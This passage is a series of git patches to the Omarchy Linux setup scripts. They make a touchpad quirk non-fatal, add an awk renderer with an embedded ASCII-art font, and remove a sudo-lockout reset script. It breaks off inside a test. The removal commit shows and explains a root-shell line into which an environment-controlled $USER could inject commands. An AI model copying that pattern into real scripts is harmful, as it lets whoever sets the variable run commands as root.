Co-authored-by: Claude Opus 5 (1M context) --- install/hardware/fix-synaptic-touchpad.sh | 27 ++++++-- test/shell.d/synaptic-touchpad-test.sh | 82 +++++++++++++++++++++++ 2 files changed, 105 insertions(+), 4 deletions(-) create mode 100755 test/shell.d/synaptic-touchpad-test.sh diff --git a/install/hardware/fix-synaptic-touchpad.sh b/install/hardware/fix-synaptic-touchpad.sh index d30dd271..00b3396c 100644 --- a/install/hardware/fix-synaptic-touchpad.sh +++ b/install/hardware/fix-synaptic-touchpad.sh @@ -1,6 +1,25 @@ # Enable Synaptics InterTouch for confirmed touchpads if not already loaded - -if grep -qi synaptics /proc/bus/input/devices \ - && ! lsmod | grep -q '^psmouse'; then - modprobe psmouse synaptics_intertouch=1 +# +# Only when modprobe can resolve psmouse for the running kernel, and never +# fatally. Installs run this under arch-chroot, where uname -r still names the +# live ISO's kernel while /lib/modules holds the target's -- the two differ on +# every machine that is not a T2 Mac, so modprobe failed with "Module psmouse +# not found in directory /lib/modules/" and took the whole install +# down with it. Asking modprobe itself first (-qn resolves a module without +# loading it) keeps that mismatch quiet, and the warning below covers every +# other reason it declines. An optional touchpad improvement must not be able to +# halt an install. +# +# Loading a module into the live kernel does nothing for the installed system +# either way, so this only takes effect when it runs on the booted machine. +# Persisting the switch instead would mean writing options psmouse +# synaptics_intertouch=1 to /etc/modprobe.d, which forces the SMBus transport +# past the kernel's own allowlist on every touchpad merely named "synaptics" in +# /proc/bus/input/devices -- a wider change than this one, and not one to make +# blind. +if grep -qi synaptics "${OMARCHY_SYNAPTIC_INPUT_DEVICES:-/proc/bus/input/devices}" \ + && ! lsmod | grep -q '^psmouse' \ + && modprobe -qn psmouse; then + modprobe psmouse synaptics_intertouch=1 || + echo "Warning: could not enable Synaptics InterTouch on psmouse" >&2 fi diff --git a/test/shell.d/synaptic-touchpad-test.sh b/test/shell.d/synaptic-touchpad-test.sh new file mode 100755 index 00000000..df4828e6 --- /dev/null +++ b/test/shell.d/synaptic-touchpad-test.sh @@ -0,0 +1,82 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +leaf="$ROOT/install/hardware/fix-synaptic-touchpad.sh" +all="$ROOT/install/hardware/all.sh" + +grep -q 'run_logged .*hardware/fix-synaptic-touchpad.sh' "$all" || + fail "the synaptic touchpad quirk runs during hardware setup" +pass "the synaptic touchpad quirk runs during hardware setup" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mkdir -p "$test_tmp/bin" +modprobe_log="$test_tmp/modprobe.log" + +# Only a real load is logged, so a case that expects nothing to happen can say +# so with an empty log even though the leaf always asks modprobe first whether +# psmouse resolves against the running kernel. +cat >"$test_tmp/bin/modprobe" <<'SH' +#!/bin/bash + +if [[ $1 == "-qn" ]]; then + exit "${TEST_MODPROBE_RESOLVES:-0}" +fi + +printf '%s\n' "$*" >>"$MODPROBE_LOG" +exit "${TEST_MODPROBE_STATUS:-0}" +SH + +cat >"$test_tmp/bin/lsmod" <<'SH' +#!/bin/bash + +printf '%s\n' 'Module Size Used by' +printf '%s\n' "${TEST_LOADED_MODULES:-}" +SH + +chmod +x "$test_tmp/bin"/* + +printf '%s\n' 'N: Name="SynPS/2 Synaptics TouchPad"' >"$test_tmp/devices" + +# Sourced under errexit the way run_logged runs it, so a failing modprobe would +# fail the run rather than be swallowed here. +run_fix() { + : >"$modprobe_log" + + MODPROBE_LOG="$modprobe_log" \ + PATH="$test_tmp/bin:$PATH" \ + OMARCHY_SYNAPTIC_INPUT_DEVICES="$test_tmp/devices" \ + TEST_LOADED_MODULES="${1:-}" \ + TEST_MODPROBE_STATUS="${2:-0}" \ + TEST_MODPROBE_RESOLVES="${3:-0}" \ + bash -eE -c 'source "$1"' bash "$leaf" +} + +run_fix +grep -q 'psmouse synaptics_intertouch=1' "$modprobe_log" || + fail "the synaptic touchpad quirk enables InterTouch on a booted machine" +pass "the synaptic touchpad quirk enables InterTouch on a booted machine" + +# The install-breaking case: under arch-chroot the live kernel's modules are not +# the ones on disk, so psmouse does not resolve and there is nothing to load. +run_fix "" 0 1 +if [[ -s $modprobe_log ]]; then + fail "the synaptic touchpad quirk skips a kernel that cannot resolve psmouse" +fi +pass "the synaptic touchpad quirk skips a kernel that cannot resolve psmouse" + +run_fix psmouse +if [[ -s $modprobe_log ]]; then + fail "the synaptic touchpad quirk leaves an already-loaded psmouse alone" +fi +pass "the synaptic touchpad quirk leaves an already-loaded psmouse alone" + +# An optional touchpad improvement never gets to halt an install, whatever the +# reason the module declines to load. +run_fix "" 1 2>/dev/null || + fail "the synaptic touchpad quirk survives a failing modprobe" +pass "the synaptic touchpad quirk survives a failing modprobe" From d99d4fc6de0bc99d48c9935724fa19d7fb41ae54 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Mon, 24 Aug 2026 15:49:17 +0200 Subject: [PATCH 034/336] Remove the sudo lockout reset command (#8046) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Nothing in the repository called omarchy-sudo-reset, and its one line interpolated an environment-supplied $USER into a string handed to a root shell: `su -c "faillock --reset --user $USER"`. $USER is an environment variable rather than a kernel-supplied identity, so whatever set it before the command ran chose the rest of what root's shell executed. That is not a way past PAM on its own — su still has to authenticate — but the installer sets root's password to the user's own, so the prompt this raises is one the user answers by habit. It bought little for that. Omarchy sets `deny=10 unlock_time=120` in /etc/pam.d/system-auth and in the lock screen's PAM stack, so a lockout takes ten wrong passwords to reach and clears itself two minutes later, and the manual documents the root-TTY reset for anyone who would rather not wait. Co-authored-by: David Heinemeier Hansson Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Codex XHigh --- bin/omarchy-sudo-reset | 5 ----- 1 file changed, 5 deletions(-) delete mode 100755 bin/omarchy-sudo-reset diff --git a/bin/omarchy-sudo-reset b/bin/omarchy-sudo-reset deleted file mode 100755 index 56d91a8d..00000000 --- a/bin/omarchy-sudo-reset +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -# omarchy:summary=Reset the sudo lockout/faillock for the current user. - -su -c "faillock --reset --user $USER" From 4baae6bf2afb2c07b617100371c07d8b6dea71a5 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Mon, 24 Aug 2026 17:58:52 +0200 Subject: [PATCH 035/336] Draw text as ASCII art in the Omarchy logo font (#8037) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add omarchy-ascii for drawing text in the logo font Renders text as ASCII art in Delta Corps Priest 1, the FIGlet font the Omarchy wordmark itself is drawn in, so branding art can be words rather than a picture. The font is embedded in the script and the layout is done in awk, so the command adds nothing to the default package set. The layout runs on one-byte stand-ins for the five block characters the font draws with. Column arithmetic over the characters themselves counts bytes in one locale and characters in another, and the stand-ins keep length() and substr() counting columns either way. Delta Corps Priest 1 carries letters and spaces only, and every mirror of it ships the same file with the digit and punctuation glyphs empty. Anything else is dropped and named on stderr, and text with nothing drawable at all exits 1 rather than printing silence. 🤖 Generated by Opus 5 in Claude Code. * Correct what the renderer did with input it could not draw The route never ran on piped text. The metadata declared `` as required, so `omarchy ascii` with nothing on the command line resolved to the router's help while `omarchy-ascii` run directly worked, which is why the tests missed it: they all called the binary. The argument is optional now, and a test goes through the route. Text reached awk as a command-line variable, where awk reads backslash escapes of its own, so `omarchy ascii 'A\nB'` drew two blocks instead of naming the backslash as a character the font lacks. A text longer than the argument list could not be passed at all. It arrives as awk's input now, with the font on a descriptor of its own. A line with nothing drawable printed nothing at all, so a blank line between two words closed the gap up rather than keeping it. Every line draws its block now, blank ones included, which is what figlet does with a newline. Placing a glyph scanned and copied the whole width of the art so far, costing the square of the line's length: four thousand characters took forty-six seconds. A row is now held without its trailing blanks, counted separately instead, so a glyph costs its own width and those four thousand characters take a tenth of a second. A skipped control character was named on stderr by writing it out, which sends it to the terminal as a control character; those are named by code now. An unknown option was drawn as art rather than refused, so a mistyped `--width 40` quietly rendered the word "width". figlet.c trims the column of blanks that every row of an `M` shares when it is the first glyph on a line, and figlet.js keeps it. asciiart.eu runs figlet.js, so the rendering follows figlet.js and a test pins that `M`, because the wordmark alone does not catch the difference and the next reader would have no way to tell the choice from an oversight. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Codex XHigh --------- Co-authored-by: David Heinemeier Hansson Co-authored-by: Codex XHigh --- bin/omarchy | 1 + bin/omarchy-ascii | 1217 ++++++++++++++++++++++++++++++++++++ manual/41-branding.md | 10 + test/shell.d/ascii-test.sh | 147 +++++ 4 files changed, 1375 insertions(+) create mode 100755 bin/omarchy-ascii create mode 100755 test/shell.d/ascii-test.sh diff --git a/bin/omarchy b/bin/omarchy index 994172ef..111d214a 100755 --- a/bin/omarchy +++ b/bin/omarchy @@ -27,6 +27,7 @@ declare -A BINARY_TO_KEY declare -A GROUP_DESCRIPTIONS GROUP_DESCRIPTIONS[agent]="AI coding agent usage data" +GROUP_DESCRIPTIONS[ascii]="Text drawn as ASCII art" GROUP_DESCRIPTIONS[audio]="Audio input and output controls" GROUP_DESCRIPTIONS[bar]="Omarchy shell bar layout and settings" GROUP_DESCRIPTIONS[battery]="Battery status helpers" diff --git a/bin/omarchy-ascii b/bin/omarchy-ascii new file mode 100755 index 00000000..166ae92b --- /dev/null +++ b/bin/omarchy-ascii @@ -0,0 +1,1217 @@ +#!/bin/bash + +# omarchy:summary=Render text as ASCII art in the font the Omarchy logo is drawn in +# omarchy:args=[text...] +# omarchy:examples=omarchy ascii Omarchy | omarchy ascii "Hello there" + +set -o pipefail + +usage() { + cat <<'EOF' +Usage: omarchy-ascii [text...] + +Renders text as ASCII art in Delta Corps Priest 1, the FIGlet font the Omarchy +logo is drawn in. Reads the text from stdin when given none. + +Options: + --help Show this help + +Delta Corps Priest 1 draws letters and spaces only. Digits and punctuation have +no glyph in it, so they are skipped. +EOF +} + +words=() + +while (( $# > 0 )); do + case "$1" in + --help) + usage + exit 0 + ;; + --) + shift + words+=("$@") + break + ;; + -?*) + echo "Unknown option: $1" >&2 + usage >&2 + exit 1 + ;; + *) + words+=("$1") + ;; + esac + shift +done + +if (( ${#words[@]} > 0 )); then + text="${words[*]}" +elif [[ ! -t 0 ]]; then + text=$(cat) +else + usage >&2 + exit 1 +fi + +if [[ -z ${text//[[:space:]]/} ]]; then + echo "Nothing to render" >&2 + exit 1 +fi + +# The text arrives as awk's input, one record per line, and the font on a +# descriptor of its own. Handing the text to awk as a variable instead would +# read backslash escapes in it as awk's own, and would put a long text through +# the argument list, which has a size limit that a piped one does not. +awk ' +function rtrim(s) { + sub(/ +$/, "", s) + return s +} + +function ltrim(s) { + sub(/^ +/, "", s) + return s +} + +# A single-character replacement that never treats its needle as a pattern, +# because the hardblank is "$" in this font and would anchor a regex instead. +function replace(s, from, to, at, result) { + while ((at = index(s, from)) > 0) { + result = result substr(s, 1, at - 1) to + s = substr(s, at + 1) + } + + return result s +} + +function load_font( line, header, position, code, i) { + while ((getline line < FONT) > 0) { + font_line++ + + if (font_line == 1) { + split(line, header, " ") + hardblank = substr(header[1], length(header[1])) + height = header[2] + comment_lines = header[6] + continue + } + + if (font_line <= comment_lines + 1) { + continue + } + + # Glyphs follow the comments in character order from 32, `height` lines + # each, every line closed by the endmark the first one introduces. + position = font_line - comment_lines - 2 + code = 32 + int(position / height) + if (code > 126) { + continue + } + + if (endmark == "") { + endmark = substr(line, length(line)) + } + + while (length(line) > 0 && substr(line, length(line)) == endmark) { + line = substr(line, 1, length(line) - 1) + } + + for (i = 1; i <= blocks; i++) { + gsub(block[i], stand_in[i], line) + } + + # The hardblank becomes a marker here, while the string is one glyph wide, + # so printing a finished row is a single pass rather than one rescan per + # hardblank in it. + line = replace(line, hardblank, hardblank_mark) + + glyph[code, position % height] = line + if (length(line) > width[code]) { + width[code] = length(line) + } + } + + close(FONT) +} + +function drawable(source, chars, total, i, code) { + total = split(source, chars, "") + for (i = 1; i <= total; i++) { + code = code_of[chars[i]] + if (code != "" && width[code] > 0) { + return 1 + } + } + + return 0 +} + +# Lay one glyph beside what is drawn so far, kerned: slid left until the two +# would touch, which is the smallest run of blanks between them across all rows. +function draw(source, chars, total, i, r, ch, code, piece, glyph_width, out, trail, amount, lead, cut, keep, remaining, fragment, body, pad, line, drew) { + total = split(source, chars, "") + drew = 0 + + for (i = 1; i <= total; i++) { + ch = chars[i] + code = code_of[ch] + + if (code == "" || width[code] == 0) { + if (!(ch in skipped)) { + skipped[ch] = 1 + skipped_list[++skipped_total] = (ch in escaped) ? escaped[ch] : ch + } + + continue + } + + glyph_width = width[code] + for (r = 0; r < height; r++) { + piece[r] = sprintf("%-" glyph_width "s", glyph[code, r]) + } + + if (!drew) { + for (r = 0; r < height; r++) { + out[r] = rtrim(piece[r]) + trail[r] = glyph_width - length(out[r]) + } + + drew = 1 + continue + } + + amount = -1 + for (r = 0; r < height; r++) { + lead = glyph_width - length(ltrim(piece[r])) + if (amount < 0 || trail[r] + lead < amount) { + amount = trail[r] + lead + } + } + + # Every row gives up the same number of columns, taken from its own trailing + # blanks first and from the glyph leading ones once those run out. A row is + # held without its trailing blanks, counted in trail[] instead, so placing a + # glyph costs its own width rather than the width of the art so far -- which + # is what keeps a long line from taking time in the square of its length. + for (r = 0; r < height; r++) { + cut = (amount < trail[r]) ? amount : trail[r] + keep = amount - cut + remaining = trail[r] - cut + fragment = substr(piece[r], keep + 1) + body = rtrim(fragment) + + if (body == "") { + trail[r] = remaining + length(fragment) + } else { + pad = (remaining > 0) ? sprintf("%" remaining "s", "") : "" + out[r] = out[r] pad body + trail[r] = length(fragment) - length(body) + } + } + } + + # A line that drew nothing still occupies its block, the way a blank line + # between two words of art does, so the art keeps the shape of the text. + for (r = 0; r < height; r++) { + line = out[r] + for (i = 1; i <= blocks; i++) { + gsub(stand_in[i], block[i], line) + } + + gsub(hardblank_mark, " ", line) + sub(/ +$/, "", line) + print line + } +} + +BEGIN { + FONT = "/dev/fd/3" + + # The font draws with five block characters, and the layout above is column + # arithmetic. Each one becomes a single byte for the duration and turns back + # at print time, so length() and substr() count columns no matter what the + # locale believes a character is. + blocks = split("█ ▀ ▄ ▌ ▐", block, " ") + for (i = 1; i <= blocks; i++) { + stand_in[i] = sprintf("%c", i) + } + + hardblank_mark = sprintf("%c", blocks + 1) + + for (i = 32; i <= 126; i++) { + code_of[sprintf("%c", i)] = i + } + + # Skipped characters are named on stderr, and a control character named there + # would reach the terminal as a control character. Name those by code. + for (i = 1; i < 32; i++) { + escaped[sprintf("%c", i)] = sprintf("\\x%02x", i) + } + + escaped[sprintf("%c", 127)] = "\\x7f" + + load_font() + + if (height == "") { + print "Could not read the embedded font." >"/dev/stderr" + aborted = 1 + exit 1 + } +} + +{ + source[++source_count] = $0 + if (drawable($0)) { + any_drawable = 1 + } +} + +END { + if (aborted) { + exit 1 + } + + if (!any_drawable) { + print "Delta Corps Priest 1 draws letters and spaces only, and that text has neither." >"/dev/stderr" + exit 1 + } + + for (i = 1; i <= source_count; i++) { + draw(source[i]) + } + + if (skipped_total > 0) { + list = skipped_list[1] + for (i = 2; i <= skipped_total; i++) { + list = list " " skipped_list[i] + } + + print "Skipped, no glyph in Delta Corps Priest 1: " list >"/dev/stderr" + } +} +' 3<<'DELTA_CORPS_PRIEST_1' <<<"$text" +flf2a$ 9 8 19 0 3 0 64 0 +Font Author: CoSMiC cHiLD + +FIGFont created by patorjk.com's FIGFont Editor: http://patorjk.com/figfont-editor +$ $@ +$ $@ +$ $@ +$ $@ +$ $@ +$ $@ +$ $@ +$ $@ +$ $@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ + ▄████████$@ + ███ ███$@ + ███ ███$@ + ███ ███$@ +▀███████████$@ + ███ ███$@ + ███ ███$@ + ███ █▀ $@ + @@ +▀█████████▄ $@ + ███ ███$@ + ███ ███$@ + ▄███▄▄▄██▀ $@ +▀▀███▀▀▀██▄ $@ + ███ ██▄$@ + ███ ███$@ +▄█████████▀ $@ + @@ + ▄████████$@ +███ ███$@ +███ █▀ $@ +███ $@ +███ $@ +███ █▄ $@ +███ ███$@ +████████▀ $@ + @@ +████████▄ $@ +███ ▀███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ▄███$@ +████████▀ $@ + @@ + ▄████████$@ + ███ ███$@ + ███ █▀ $@ + ▄███▄▄▄ $@ +▀▀███▀▀▀ $@ + ███ █▄ $@ + ███ ███$@ + ██████████$@ + @@ + ▄████████$@ + ███ ███$@ + ███ █▀ $@ + ▄███▄▄▄ $@ +▀▀███▀▀▀ $@ + ███ $@ + ███ $@ + ███ $@ + @@ + ▄██████▄ $@ + ███ ███$@ + ███ █▀ $@ + ▄███ $@ +▀▀███ ████▄ $@ + ███ ███$@ + ███ ███$@ + ████████▀ $@ + @@ + ▄█ █▄ $@ + ███ ███ $@ + ███ ███ $@ + ▄███▄▄▄▄███▄▄$@ +▀▀███▀▀▀▀███▀ $@ + ███ ███ $@ + ███ ███ $@ + ███ █▀ $@ + @@ + ▄█ $@ +███ $@ +███▌$@ +███▌$@ +███▌$@ +███ $@ +███ $@ +█▀ $@ + @@ + ▄█$@ + ███$@ + ███$@ + ███$@ + ███$@ + ███$@ + ███$@ +█▄ ▄███$@ +▀▀▀▀▀▀ $@@ + ▄█ ▄█▄$@ + ███ ▄███▀$@ + ███▐██▀ $@ + ▄█████▀ $@ +▀▀█████▄ $@ + ███▐██▄ $@ + ███ ▀███▄$@ + ███ ▀█▀$@ + ▀ $@@ + ▄█ $@ +███ $@ +███ $@ +███ $@ +███ $@ +███ $@ +███▌ ▄$@ +█████▄▄██$@ +▀ $@@ + ▄▄▄▄███▄▄▄▄ $@ + ▄██▀▀▀███▀▀▀██▄$@ + ███ ███ ███$@ + ███ ███ ███$@ + ███ ███ ███$@ + ███ ███ ███$@ + ███ ███ ███$@ + ▀█ ███ █▀ $@ + @@ +███▄▄▄▄ $@ +███▀▀▀██▄$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ + ▀█ █▀ $@ + @@ + ▄██████▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ + ▀██████▀ $@ + @@ + ▄███████▄$@ + ███ ███$@ + ███ ███$@ + ███ ███$@ +▀█████████▀ $@ + ███ $@ + ███ $@ + ▄████▀ $@ + @@ +████████▄ $@ +███ ███ $@ +███ ███ $@ +███ ███ $@ +███ ███ $@ +███ ███ $@ +███ ▀ ███ $@ + ▀██████▀▄█$@ + @@ + ▄████████$@ + ███ ███$@ + ███ ███$@ + ▄███▄▄▄▄██▀$@ +▀▀███▀▀▀▀▀ $@ +▀███████████$@ + ███ ███$@ + ███ ███$@ + ███ ███$@@ + ▄████████$@ + ███ ███$@ + ███ █▀ $@ + ███ $@ +▀███████████$@ + ███$@ + ▄█ ███$@ + ▄████████▀ $@ + @@ + ███ $@ +▀█████████▄$@ + ▀███▀▀██$@ + ███ ▀$@ + ███ $@ + ███ $@ + ███ $@ + ▄████▀ $@ + @@ +███ █▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +████████▀ $@ + @@ + ▄█ █▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ + ▀██████▀ $@ + @@ + ▄█ █▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ▄█▄ ███$@ + ▀███▀███▀ $@ + @@ +▀████ ▐████▀$@ + ███▌ ████▀ $@ + ███ ▐███ $@ + ▀███▄███▀ $@ + ████▀██▄ $@ + ▐███ ▀███ $@ + ▄███ ███▄ $@ +████ ███▄$@ + @@ +▄██ ▄ $@ +███ ██▄$@ +███▄▄▄███$@ +▀▀▀▀▀▀███$@ +▄██ ███$@ +███ ███$@ +███ ███$@ + ▀█████▀ $@ + @@ + ▄███████▄ $@ +██▀ ▄██$@ + ▄███▀$@ + ▀█▀▄███▀▄▄$@ + ▄███▀ ▀$@ +▄███▀ $@ +███▄ ▄█$@ + ▀████████▀$@ + @@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ + ▄████████$@ + ███ ███$@ + ███ ███$@ + ███ ███$@ +▀███████████$@ + ███ ███$@ + ███ ███$@ + ███ █▀ $@ + @@ +▀█████████▄ $@ + ███ ███$@ + ███ ███$@ + ▄███▄▄▄██▀ $@ +▀▀███▀▀▀██▄ $@ + ███ ██▄$@ + ███ ███$@ +▄█████████▀ $@ + @@ + ▄████████$@ +███ ███$@ +███ █▀ $@ +███ $@ +███ $@ +███ █▄ $@ +███ ███$@ +████████▀ $@ + @@ +████████▄ $@ +███ ▀███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ▄███$@ +████████▀ $@ + @@ + ▄████████$@ + ███ ███$@ + ███ █▀ $@ + ▄███▄▄▄ $@ +▀▀███▀▀▀ $@ + ███ █▄ $@ + ███ ███$@ + ██████████$@ + @@ + ▄████████$@ + ███ ███$@ + ███ █▀ $@ + ▄███▄▄▄ $@ +▀▀███▀▀▀ $@ + ███ $@ + ███ $@ + ███ $@ + @@ + ▄██████▄ $@ + ███ ███$@ + ███ █▀ $@ + ▄███ $@ +▀▀███ ████▄ $@ + ███ ███$@ + ███ ███$@ + ████████▀ $@ + @@ + ▄█ █▄ $@ + ███ ███ $@ + ███ ███ $@ + ▄███▄▄▄▄███▄▄$@ +▀▀███▀▀▀▀███▀ $@ + ███ ███ $@ + ███ ███ $@ + ███ █▀ $@ + @@ + ▄█ $@ +███ $@ +███▌$@ +███▌$@ +███▌$@ +███ $@ +███ $@ +█▀ $@ + @@ + ▄█$@ + ███$@ + ███$@ + ███$@ + ███$@ + ███$@ + ███$@ +█▄ ▄███$@ +▀▀▀▀▀▀ $@@ + ▄█ ▄█▄$@ + ███ ▄███▀$@ + ███▐██▀ $@ + ▄█████▀ $@ +▀▀█████▄ $@ + ███▐██▄ $@ + ███ ▀███▄$@ + ███ ▀█▀$@ + ▀ $@@ + ▄█ $@ +███ $@ +███ $@ +███ $@ +███ $@ +███ $@ +███▌ ▄$@ +█████▄▄██$@ +▀ $@@ + ▄▄▄▄███▄▄▄▄ $@ + ▄██▀▀▀███▀▀▀██▄$@ + ███ ███ ███$@ + ███ ███ ███$@ + ███ ███ ███$@ + ███ ███ ███$@ + ███ ███ ███$@ + ▀█ ███ █▀ $@ + @@ +███▄▄▄▄ $@ +███▀▀▀██▄$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ + ▀█ █▀ $@ + @@ + ▄██████▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ + ▀██████▀ $@ + @@ + ▄███████▄$@ + ███ ███$@ + ███ ███$@ + ███ ███$@ +▀█████████▀ $@ + ███ $@ + ███ $@ + ▄████▀ $@ + @@ +████████▄ $@ +███ ███ $@ +███ ███ $@ +███ ███ $@ +███ ███ $@ +███ ███ $@ +███ ▀ ███ $@ + ▀██████▀▄█$@ + @@ + ▄████████$@ + ███ ███$@ + ███ ███$@ + ▄███▄▄▄▄██▀$@ +▀▀███▀▀▀▀▀ $@ +▀███████████$@ + ███ ███$@ + ███ ███$@ + ███ ███$@@ + ▄████████$@ + ███ ███$@ + ███ █▀ $@ + ███ $@ +▀███████████$@ + ███$@ + ▄█ ███$@ + ▄████████▀ $@ + @@ + ███ $@ +▀█████████▄$@ + ▀███▀▀██$@ + ███ ▀$@ + ███ $@ + ███ $@ + ███ $@ + ▄████▀ $@ + @@ +███ █▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +████████▀ $@ + @@ + ▄█ █▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ + ▀██████▀ $@ + @@ + ▄█ █▄ $@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ███$@ +███ ▄█▄ ███$@ + ▀███▀███▀ $@ + @@ +▀████ ▐████▀$@ + ███▌ ████▀ $@ + ███ ▐███ $@ + ▀███▄███▀ $@ + ████▀██▄ $@ + ▐███ ▀███ $@ + ▄███ ███▄ $@ +████ ███▄$@ + @@ +▄██ ▄ $@ +███ ██▄$@ +███▄▄▄███$@ +▀▀▀▀▀▀███$@ +▄██ ███$@ +███ ███$@ +███ ███$@ + ▀█████▀ $@ + @@ + ▄███████▄ $@ +██▀ ▄██$@ + ▄███▀$@ + ▀█▀▄███▀▄▄$@ + ▄███▀ ▀$@ +▄███▀ $@ +███▄ ▄█$@ + ▀████████▀$@ + @@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +@ +@ +@ +@ +@ +@ +@ +@ +@@ +DELTA_CORPS_PRIEST_1 diff --git a/manual/41-branding.md b/manual/41-branding.md index 2cf19001..cdbe828d 100644 --- a/manual/41-branding.md +++ b/manual/41-branding.md @@ -43,3 +43,13 @@ omarchy transcode ascii ~/logo.svg ~/.config/omarchy/branding/screensaver.txt -- ``` It takes `--width` and `--height` in terminal columns and rows, a `--mode` of either `braille` (the default, and much finer) or `block`, a `--threshold` percentage for deciding which pixels count as part of the logo, and `--invert` for when your logo is light on a dark background. If a conversion comes out as a blob, the threshold is usually the knob to turn. + +### Words instead of a logo + +`omarchy ascii` draws text in Delta Corps Priest 1, the FIGlet font the Omarchy wordmark itself is drawn in, so a screensaver can say something rather than show a picture: + +``` +omarchy ascii "Back in five" > ~/.config/omarchy/branding/screensaver.txt +``` + +It takes the text as arguments, or reads it from a pipe when given none. The font carries letters and spaces only — it was drawn without digits or punctuation — so anything else is dropped and named on stderr rather than quietly swallowed. diff --git a/test/shell.d/ascii-test.sh b/test/shell.d/ascii-test.sh new file mode 100755 index 00000000..e30e3ea0 --- /dev/null +++ b/test/shell.d/ascii-test.sh @@ -0,0 +1,147 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +export PATH="$ROOT/bin:$PATH" + +columns() { + awk 'NR == 1 { print length($0) }' +} + +# The wordmark FIGlet itself draws for this font, so a change to the embedded +# font or to the kerning shows up here rather than in someone's terminal. +expected=$( + cat <<'WORDMARK' + ▄██████▄ ▄▄▄▄███▄▄▄▄ ▄████████ ▄████████ ▄████████ ▄█ █▄ ▄██ ▄ +███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ██▄ +███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ ███▄▄▄███ +███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄▄██▀ ███ ▄███▄▄▄▄███▄▄ ▀▀▀▀▀▀███ +███ ███ ███ ███ ███ ▀███████████ ▀▀███▀▀▀▀▀ ███ ▀▀███▀▀▀▀███▀ ▄██ ███ +███ ███ ███ ███ ███ ███ ███ ▀███████████ ███ █▄ ███ ███ ███ ███ +███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀██████▀ ▀█ ███ █▀ ███ █▀ ███ 